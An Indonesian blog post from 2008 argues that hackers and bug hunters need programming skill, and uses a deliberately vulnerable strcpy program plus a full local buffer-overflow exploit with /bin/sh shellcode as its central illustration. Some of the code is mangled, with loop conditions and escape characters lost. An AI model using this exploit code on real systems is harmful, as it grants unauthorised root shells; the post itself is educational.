Hal yang akan saya bahas disini mungkin hanya sebatas teori, bukan lah suatu "teknikal PoC" tentang hacking, bukan pula pembahasan secara mendalam yang bisa di praktekan untuk segera di dapatkan hasil nya, tapi merupakan upaya pendekatan lain untuk memberikan gambaran apa penting nya pemrograman dalam aktivitas hacking yang mungkin saat ini kurang di sadari oleh banyak pihak, terutama pihak-pihak yang hobi 'ngoprek' masalah keamanan di dunia internet baik dari sisi underground maupun profesional internet security.
Berikut sekelumit cuplikan singkat dari csh mengenai filosofi hacker dalam salah satu artikel[1] nya yang menarik untuk dibahas:
"Seorang Hacker dituntut memiliki kemampuan dalam hal pemrograman untuk tingkatan software, dan keahlian dibidang hardware. Tuntutan yang sedemikian luasnya untuk keamanan disisi sistem aplikasi dan jaringan, memberikan motivasi bagi seorang Hacker untuk mengembangkan keahlian tersebut sehingga hasil dari penelitian yang dilakukan akan memberikan dampak yang positif bagi kelangsungan IT itu sendiri."
Penjelasan mengenai filosofi seorang hacker dapat dibaca secara lengkap pada artikel beliau, pada artikel ini saya hanya akan memberikan gambaran lebih mendetail dan (hopefully) lebih menyentuh mengenai penting nya pemrograman untuk menjadi seorang hacker. Let's kick off.
Apa itu program …? Program secara kasar bisa kita artikan sebagai 'sesuatu' yang dapat membuat suatu perangkat keras atau mesin bekerja sesuai dengan yang kita harapkan. Salah satu contoh mudah adalah kalkulator, dengan ada nya program pada kalkulator tersebut maka kita bisa membuat benda mungil itu membantu kita melakukan operasi perkalian, pembagian, penambahan dan pengurangan. Tanpa ada nya program, benda mungil tersebut tidak akan bisa melakukan apa-apa, hanya seonggok kotak yang tidak berguna sama sekali.
Contoh yang lebih menarik mungkin sebuah robot. Robot terbuat dari perangkat keras dimana terdapat program di dalam nya yang akan mengatur robot tersebut sehingga bisa melakukan gerakan, berbicara, main bola, dsb. Inti nya, program lah yang akan membuat seonggok besi menjadi bernilai sehingga bisa melakukan banyak hal dan membantu manusia dalam kegiatan sehari-hari baik di rumah, di sekolah, di kantor, hingga di perusahaan-perusahaan besar.
Bagaimana dengan computer ? sama saja, tanpa ada nya program maka sekotak komputer yang terbuat dari besi-besi itu tidak akan berguna sama sekali. Kamu bisa cari sejarah tentang perkembangan komputer melalui http://en.wikipedia.org/wiki/Computer. Namun untuk mempermudah, kita persempit pembahasan program hanya untuk komputer desktop.
Awal nya program terbatas hanya untuk melakukan hal-hal yang sifat nya spesifik dan ruang lingkup nya kecil, misal nya seperti kalkulator dimana program terbatas hanya untuk melakukan operasi hitung. Implementasi pada mesin-mesin kelas berat juga awal nya spesifik untuk hal-hal tertentu seperti mengangkat container. Seiring dengan semakin canggih nya teknologi processor dan memory maka dapat di hasilkan komputer yang mampu menjalankan lebih dari satu fungsi, salah satu nya adalah jenis komputer desktop.
Komputer desktop di harapkan dapat menjadi mesin yang mampu melakukan berbagai macam fungsi. Perhitungan, aplikasi kantor, aplikasi gambar, dsb. Untuk itu, kita tidak bisa hanya memberikan satu jenis program pada mesin tersebut. Apabila hanya di berikan program untuk perhitungan (misal nya: calc) maka komputer desktop tersebut hanya dapat melakukan fungsi perhitungan. Komputer desktop diharapkan dapat digunakan untuk melakukan berbagai macam fungsi, dan fungsi-fungsi tersebut diharapkan dapat di perluas oleh berbagai macam pihak sehingga lebih banyak pihak yang bisa memanfaatkan sekotak besi tersebut untuk melakukan hal yang mereka inginkan.
Untuk itulah diperlukan suatu program inti yang bisa menjadi semacam 'rumah' bagi program-program lain nya. Tugas dari program inti ini adalah menyediakan fasilitas bagi setiap pihak yang ingin memanfaatkan perangkat keras (komputer, yang terdiri dari prosesor, memory, harddisk, dsb) tersebut untuk menjalan fungsi sesuai kehendak nya. Contoh mudah nya: pembuat program kalkulator dapat memanfatkan komputer untuk mengembangkan program yang dapat melakukan perhitungan, dan di saat yang bersamaan dengan menggunakan komputer yang sama pembuat program gambar dapat memanfaatkan komputer tsb untuk mengembangkan program yang dapat membantu proses gambar secara cepat dan akurat.
Program inti ini yang menjadi jembatan penghubung interaksi antara mesin dengan manusia, program inti inilah yang umum dikenal dengan sebutan "sistem operasi".
Bahasa Pemrograman. Sejak ditemukan nya komputer, banyak sekali jenis bahasa pemrograman yang digunakan untuk membuat program. Seperti yang telah di bahas sebelum nya, komputer hanyalah seperangkat besi yang di isi oleh program. Untuk membuat perangkat besi tersebut bekerja, kita harus memasukan kode-kode program yang di mengerti oleh perangkat besi tersebut. Pada awal perkembangan nya, manusia menggunakan kode-kode mesin untuk membuat program. Bahasa mesin ini digunakan untuk 'menyuruh' komputer melakukan tugas sesuai kehendak kita. Tentu saja pada awal nya bahasa ini sangat sederhana, karena biar bagaimanapun bahasa yang di mengerti oleh mesin hanyalah berupa sederetan angka 'nol' (0) dan 'satu' (1).
Namun dengan semakin canggih nya teknologi prosesor, kemampuan perangkat keras semakin hebat. Dan perangkat keras tersebut mampu melakukan banyak fungsi dengan kecepatan yang luar biasa. Hal ini diiringi dengan semakin dibutuhkan nya bahasa pemrograman yang juga mampu memberikan fungsi pada perangkat keras canggih tersebut. Bahasa pemrograman juga semakin canggih dimana bentuk nya semakin manusiawi. Berikut ilustrasi bentuk bahasa pemrograman yang disebut bahasa mesin:
10110110
11010100
11011010
11101101
10110110
11010100
11011010
11101101
Pada awal nya, kita menggunakan bahasa tersebut untuk memberikan perintah pada mesin. Misal nya, perintah tersebut digunakan untuk melakukan operasi penambahan (1+2). Bahasa pemrograman semakin berkembang seiring dengan perkembangan perangkat keras, sehingga perintah untuk melakukan operasi tersebut bisa lebih manusiawi:
mov a,1
mov b,2
add a,b
kode program diatas menghasilkan fungsi yang sama, namun lebih manusiawi dibandingkan dengan bahasa mesin sebelum nya. Dan seiring dengan semakin berkembangnya kebutuhan manusia, maka kemampuan perangkat keras semakin bertambah dengan di ikuti perkembangan bahasa pemrograman yang dapat mengontrol perangkat keras tersebut, bahasa pemrograman pada level ini juga jauh lebih manusiawi dan lebih efisien dengan tetap menghasilkan fungsi yang sama, yaitu penjumlahan, misal nya:
a = a+b
Diantara bahasa pemrograman yang umum digunakan, bahasa C adalah salah satu bahasa yang paling banyak digunakan untuk membuat program. Bahasa C ini juga lah yang digunakan untuk membuat berbagai macam program inti yang kita sebut sistem operasi, diantara nya windows, linux, bsd, dsb.
Bahasa C digunakan untuk membangun berbagai macam sistem operasi yang dapat menjadi jembatan penghubung antara manusia dengan mesin.
Sistem operasi vs Program aplikasi. Saya telah menyebutkan bahwa sistem operasi merupakan program yang menjadi jembatan penghubung antara mesin dengan manusia. Salah satu fungsi dari sistem operasi adalah menyediakan fasilitas bagi pengguna agar dapat ikut mengambil manfaat dari perangkat keras. Misal nya: saat ini komputer belum bisa memainkan musik, sedangkan perangkat keras nya sudah tersedia berupa sound card dan speaker. Kita ingin memanfaatkan sound card dan speaker tersebut untuk membuat komputer mampu memainkan lagu yang kita inginkan. Maka kita sebagai manusia dapat mengembangkan program pemutar lagu (winamp?!) dimana program yang akan kita buat bisa mengakses perangkat keras berupa sound card dan speaker. Di sini lah letak fungsi utama dari sistem operasi, sistem operasi akan menyediakan akses (menjadi jembatan penghubung) ke soundcard dan speaker bagi aplikasi pemutar lagu kita (winamp?!).
Contoh lain nya adalah network adapter. Sistem operasi menyediakan fasilitas untuk akses ke network card, contoh berikut ini cuplikan dari driver untuk salah satu network adapter 3com yang di implementasikan pada sistem operasi linux:
root@h3b:# /usr/src/linux/drivers/net/cat 3c501.c
.....
/**
* el1_close:
* @dev: 3c501 card to shut down
*
* Close a 3c501 card. The IFF_UP flag has been cleared by the user via
* the SIOCSIFFLAGS ioctl. We stop any further transmissions being queued,
* and then disable the interrupts. Finally we reset the chip. The effects
* of the rest will be cleaned up by #el1_open. Always returns 0 indicating
* a success.
*/
static int el1_close(struct net_device *dev)
{
int ioaddr = dev->base_addr;
if (el_debug > 2)
printk(KERN_INFO "%s: Shutting down Ethernet card at %#x.\n", dev->name, ioaddr);
netif_stop_queue(dev);
/*
* Free and disable the IRQ.
*/
free_irq(dev->irq, dev);
outb(AX_RESET, AX_CMD); /* Reset the chip */
return 0;
}
Kode tersebut merupakan program dalam bahasa C. Melalui contoh ini dapat dilihat dengan jelas apa yang dapat dilakukan oleh bahasa pemrograman dan bagaimana bahasa pemrograman digunakan untuk membangun sebuah sistem operasi. Kode tersebut dengan jelas bisa dikatakan merupakan bagian dari sistem operasi.
Program aplikasi merupakan jenis program yang berjalan diatas sebuah sistem operasi. Program aplikasi menggunakan banyak sekali fasilitas yang di berikan oleh sistem operasi, misal nya aplikasi internet browser. Internet browser seperti internet explorer ataupun mozilla firefox menggunakan fasilitas seperti akses ke layar monitor, akses ke mouse, akses ke soundcard, akses ke keyboard, akses ke network card, dsb. Akses-akses ke perangkat keras tersebut disediakan oleh sistem operasi untuk program aplikasi, sehingga pembuat program aplikasi tidak perlu repot-repot memikirkan bagaimana cara nya mengakses perangkat keras karena sudah disediakan oleh pembuat sistem operasi :).
Bugs. "Nobody perfect", tidak ada orang ataupun sesuatu yang sempurna di dunia ini. Begitu pula dengan program. Program dibuat oleh manusia yang memiliki keterbatasan, sehebat-hebat nya suatu program...pasti tidak akan pernah 100% sempurna. Program dibuat dengan menggunakan logika manusia, dan dengan keterbatasan manusia maka setiap program pasti memiliki kelemahan atau kekurangan. Segala sesuatu yang berhubungan dengan fungsi dalam komputer adalah program, sistem operasi adalah program, aplikasi adalah program, driver adalah program, bahkan bahasa pemrograman itu sendiri adalah sebuah program. Dan semua yang disebut program memiliki kekurangan, kekurangan ini dikenal dengan istilah bugs.
Efek dari bugs berbagai macam, misal nya contoh kode program di bawah ini:
root@h3b# cat vuln.c
#include
#include
void buffer_overflow(char *str)
{
char buffer[500];
strcpy(buffer,str);
puts(buffer);
}
int main(int argc, char *argv[])
{
buffer_overflow(argv[1]);
return 0;
}
Contoh program diatas akan berjalan normal apabila buffer[500] digunakan untuk menampung karakter kurang dari 500, dan akan menghasilkan error apabila menampung karakter lebih dari 500. Kesalahan ini masuk dalam hal logika, dimana si pembuat program tidak memperhitungkan kondisi dimana pengguna aplikasi yang dia buat bisa saja memasukan jumlah karakter lebih dari 500. Kesalahan inilah yang disebut sebagai bugs dan apabila di lihat dari sudut pandang seorang programmer, maka program miliknya memiliki kekurangan dan harus segera diperbaiki.
Sang pembuat, dan sang pencari kesalahan. "Kebiasaan-kebiasaan mengucapkan 'I Hack This Stuff' seakan-akan memberikan arti bahwa istilah Hack merupakan kegiatan yang sedang dan memperoleh hasil setelah melakukan pengembangan terhadap segala sesuatu yang dilakukan. Pengembangan-pengembangan yang secara khusus diberikan kepada minicomputer dan microcomputer tersebutlah istilah "Computer Hacker" terbentuk."
Banyak sekali literatur-literatur filosofi yang memberikan gambaran mengenai konsep seorang hacker, terutama saat-saat awal dimana istilah tersebut terbentuk. Saya secara khusus memiliki pandangan dan pendapat bahwa seorang hacker adalah seseorang yang memiliki rasa ingin tahu yang sangat tinggi terhadap ilmu pengetahuan dan mengimplementasikan ilmu nya guna menghasilkan sesuatu yang bermanfaat bagi orang lain.
Dengan singkat dapat di katakan bahwa "programmer adalah seorang hacker", karena mereka berkreasi dan terus membuat sesuatu yang dapat digunakan untuk kepentingan manusia. Para hacker membuat seonggok besi dapat digunakan untuk mempermudah pekerjaan manusia, para hacker menghasilkan sistem operasi, para hacker menghasilkan program aplikasi, dan para hacker menghasilkan bahasa pemrograman untuk mempermudah hacker-hacker lain nya dalam ber-kreasi.
Namun dunia tidak selalu lurus, tidak selalu baik. Di dunia ini, sedikit kesalahan saja bisa dimanfaatkan untuk memutar balikan fakta. Kesalah kecil dapat menimbulkan efek yang luar biasa besar nya apabila dimanfaatkan dengan sangat lihai dan cerdas :).
Contoh paling umum dalam dunia internet security adalah pemanfaatan kesalahan kecil dari sebuah buffer pada program untuk kemudian digunakan untuk men-take over sebuah sistem operasi atau bahkan sebuah super komputer. Kesalahan logika pada suatu program bisa dimanfaatkan untuk mencuri data, mendapatkan akses penting pada suatu sistem, dan bahkan menghancurkan reputasi sebuah perusahaan besar. Hal inilah yang dilakukan oleh 'para pencari kesalahan' untuk kemudian mengambil manfaat dari kesalahan suatu program (baik aplikasi, sistem operasi, maupun jenis-jenis program lain nya).
Sangat bisa di prediksi bahwa si pencari kesalahan ini juga memiliki kemampuan untuk membuat program, kenapa?! karena si pencari kesalahan mengetahui dengan baik bagaimana suatu program bekerja untuk kemudian di cari-cari kesalahan nya, dan apabila di dapatkan maka digunakan untuk mengambil alih sistem yang lebih besar melalui kesalahan program tersebut.
Aleph1 dalam aritkel nya yang sangat populer "Smashing the stack for fun and profit" memberikan gambaran ilustrasi bagaimana memanfaatkan kesalahan programmer dalam mendefinisikan suatu buffer untuk kemudian mengambil alih sistem tersebut. Dengan kemampuan nya membuat program, aleph1 memberikan gambaran bagaimana membuat 'program nakal' yang akan memanfaatkan bugs buffer tersebut untuk kemudian mendapatkan akses penuh terhadap suatu sistem (access violation), atau biasa kita sebut local buffer overflow.
Berikut ini salah satu bentuk kode program yang dapat digunakan untuk memanfaatkan bugs pada kode "vuln.c" diatas:
root@h3b# cat expl.c
#include
char shellcode[] =
/* ---------------------- Begin ShellCode ---------------------- */
"x6ax17" // push $0x17
"x58" // pop %eax
"x31xdb" // xor %ebx, %ebx
"xcdx80" // int $0x80
"x31xd2" // xor %edx, %edx
"x6ax0b" // push $0xb
"x58" // pop %eax
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp, %ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp, %ecx
"xcdx80"; // int $0x80;
/* -------------------- End Of ShellCode ------------------------- */
/* Fungsi untuk mendapatkan lokasi stack pointer */
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%xn", esp);
printf(" Offset from ESP : 0x%xn", offset);
printf("Desired Return Addr : 0x%xn", ret);
/* Alokasikan 600 byte pada buffer (heap) */
buffer = malloc(600);
/* Isi seluruh buffer dengan lokasi memory yang di inginkan */
/* dlm hal ini merupakan alamat stack pointer saat fungsi dipanggil */
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i <>
{ *(addr_ptr++) = ret; }
/* Timpa isi buffer (200 lokasi awal) dengan instruksi NOP */
for(i=0; i <>
{ buffer[i] = 'x90'; }
/* Letakan shellcode diatas setelah NOP-sled */
ptr = buffer + 200;
for(i=0; i <>
{ *(ptr++) = shellcode[i]; }
/* End the string */
buffer[600-1] = 0;
/* Panggil program vuln dengan buffer diatas sbg input an nya */
execl("./vuln", "vuln", buffer, 0);
// Free the buffer memory
free(buffer);
return 0;
}
Pemanfaatan bugs dapat dilakukan secara manual, namun dapat juga dilakukan melalui pembuatan kode sehingga pengambilalihan sistem bisa dilakukan secara otomatis. Lagi-lagi, untuk ini dibutuhkan program juga. Jenis program 'nakal' ini akan meng-ekspoitasi suatu program (baik aplikasi, sistem, ataupun jenis program lain nya) secara otomatis untuk kemudian dimanfaatkan sesuai dengan kehendak si pembuat program nakal tersebut, diantara nya: membuat sistem kehabisan resource (Denial Of Service), mendapatkan hak akses full pada sistem (take over), dsb. Jenis program nakal inilah yang sering disebut sebagai 'exploit'.
Dan seperti yang telah sering di bahas sebelum nya, akibat dari media massa maka masyarakat berasumsi bahwa para pembuat program nakal itu disebut sebagai 'Hacker'. Sebagian benar, sebagian lagi keliru. Tapi bukan itu inti dari pembahasan kali ini. Dengan memperlihatkan apa sebenar nya komputer, sistem operasi, program aplikasi, serta exploit maka dapat kita katakan bahwa seorang programmer ada lah seorang hacker, si pencari kesalahan juga memiliki kemampuan programming sehingga bisa menemukan letak kesalahan suatu sistem/program aplikasi, dan selanjut nya membuat suatu kode yang digunakan untuk memanfaatkan kesalahan tersebut.
Jadi, bisa kita katakan bahwa si pembuat (hacker) dan si pencari kesalahan (hacker) adalah seorang programmer ;).
'Pencari Kesalahan', called me 'BugHunter'. Mencari kesalahan pada suatu program bukan lah pekerjaan yang mudah, namun juga bukan pekerjaan yang terlalu sulit. Kembali lagi pada pembahasan sebelum nya bahwa segala sesuatu yang berhubungan dengan mesin atau komputer adalah program, sehingga cara terbaik untuk menemukan 'bugs' atau kesalahan pada komputer adalah dengan memahami bahasa pemrograman. Dengan memahami bahasa pemrograman, apalagi dengan memiliki kemampuan membuat suatu program maka seseorang dapat menemukan kesalahan pada sistem operasi, internet browser, mail client , dll karena semua nya terbuat dari program.
Dengan beragam nya bahasa pemograman dan jenis program yang dihasilkan, maka tipikal pencari kesalahan juga berbeda-beda. Walaupun konsep buffer overflow, d0s, remote exploit itu bisa dikatakan mirip untuk setiap jenis program, namun pada praktek nya tidak setiap orang dapat mencari dan memahami segala jenis program (hey, nobody's perfect), namun ada beberapa orang yang sangat berbakat memiliki kemampuan menguasai jauh lebih banyak jenis pemograman dibandingkan orang pada umum nya.
Pencari kesalahan pada suatu program/sistem biasa disebut bughunter (pencari bugs). Dan ada beragam tipe bughunter, ada bughunter di bidang aplikasi web, bughunter kernel, bughunter windows, bughunter linux, dsb. Kenapa?!karena seperti yang telah disebutkan sebelum nya bahwa tipe program itu berbeda-beda, ada program aplikasi, ada program sistem operasi, dll. Sehingga tipe bughunter juga berbeda-beda, walaupun dapat juga kita temukan bughunter yang memiliki kemampuan untuk menemukan kesalahan lebih dari satu tipe program.
Metode yang digunakan oleh para bughunter juga bervariasi, mulai dengan cara manual (old method), source code auditing, trial-and-error, hingga membuat aplikasi yang dapat digunakan untuk proses auditing secara otomatis seperti web-scanner. Inti dari berbagai macam metode ini adalah satu, menemukan 'bug' pada suatu aplikasi yang kemudian dapat menuju pada di temukan nya 'hole' atau celah keamanan untuk kemudian di eksploitasi. Salah satu metode pencarian bug yang populer saat ini adalah dengan menggunakan fuzzer. Fuzzer merupakan tools yang menggunakan metode fuzzy, dengan metode ini maka proses pencarian bugs dapat dilakukan seefisien mungkin. Salah satu contoh fuzzer yang populer dan bagus adalah SPIKE (developed by dave aitel).
'Programming is a must'. Berdasarkan ilustrasi diatas, maka dapat kita simpulkan bahwa seorang hacker adalah juga seorang programmer. Kenapa?!karena untuk bisa mencari kesalahan suatu sistem/aplikasi yang notabene merupakan suatu program haruslah mengerti bagaimana jalan nya program tersebut dan memahami logika si pembuat program, sehingga bisa ditemukan logika kesalahan nya (jangan lupa, program di buat oleh manusia yang memiliki keterbatas).
Saat ini banyak sekali 'script kiddies' berkeliaran dan mengaku-ngaku sebagai hacker, namun percaya atau tidak...banyak dari mereka yang hanya bisa menggunakan tools milik hacker lain tanpa bisa memahami inti/makna dari tools tersebut.
Agar bisa memahami suatu tools exploit, maka minimal kita harus bisa bahasa pemrograman yang digunakan oleh tools tersebut agar mengerti alur logika nya. Agar bisa membuat exploit, maka minimal kita harus bisa menemukan bugs suatu aplikasi yang hendak kita exploit. Untuk bisa menemukan bugs minimal kita harus memahami logika bagaimana aplikasi tersebut di buat dan bagaimana cara untuk exploitasi nya. Untuk bisa exploitasi secara otomatis di butuhkan exploit, dan untuk membuat nya di butuhkan kemampuan programming.
Jadi, mau tidak mau dan suka tidak suka maka di butuhkan skill programming untuk menjadi seorang hacker. Dengan begitu, menguasai bahasa pemrograman (minimal satu) adalah hal yang mutlak untuk bisa menjadi seorang hacker.
Summary. Artikel ini saya buat sebagai bentuk keprihatinan bahwa banyak sekali para penggemar dunia security di Indonesia yang 'ogah' menyentuh pemrograman, dan sudah takut duluan sebelum menyentuh pemrograman. Menguasai pemrograman adalah hal yang mutlak, karena akan sangat berguna dan membantu di segala bidang kehidupan kita, terutama dengan bergulir nya dunia teknologi informasi saat ini. Dan terutama bagi mereka yang bercita-cita menjadi seorang hacker/security analyst/security professional, pemrograman adalah hal yang mutlak...karena biar bagaimanapun kita akan selalu berusaha mencari 'kesalahan' suatu program, jadi paling tidak kita memahami bagaimana cara nya membuat program tersebut.
Semoga bermanfaat.
:by Cyberheb <>
Jumat, 31 Oktober 2008
PROGRAMMER 'VS' HACKER || SANG PEMBUAT 'VS' PENCARI KESALAHAN
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar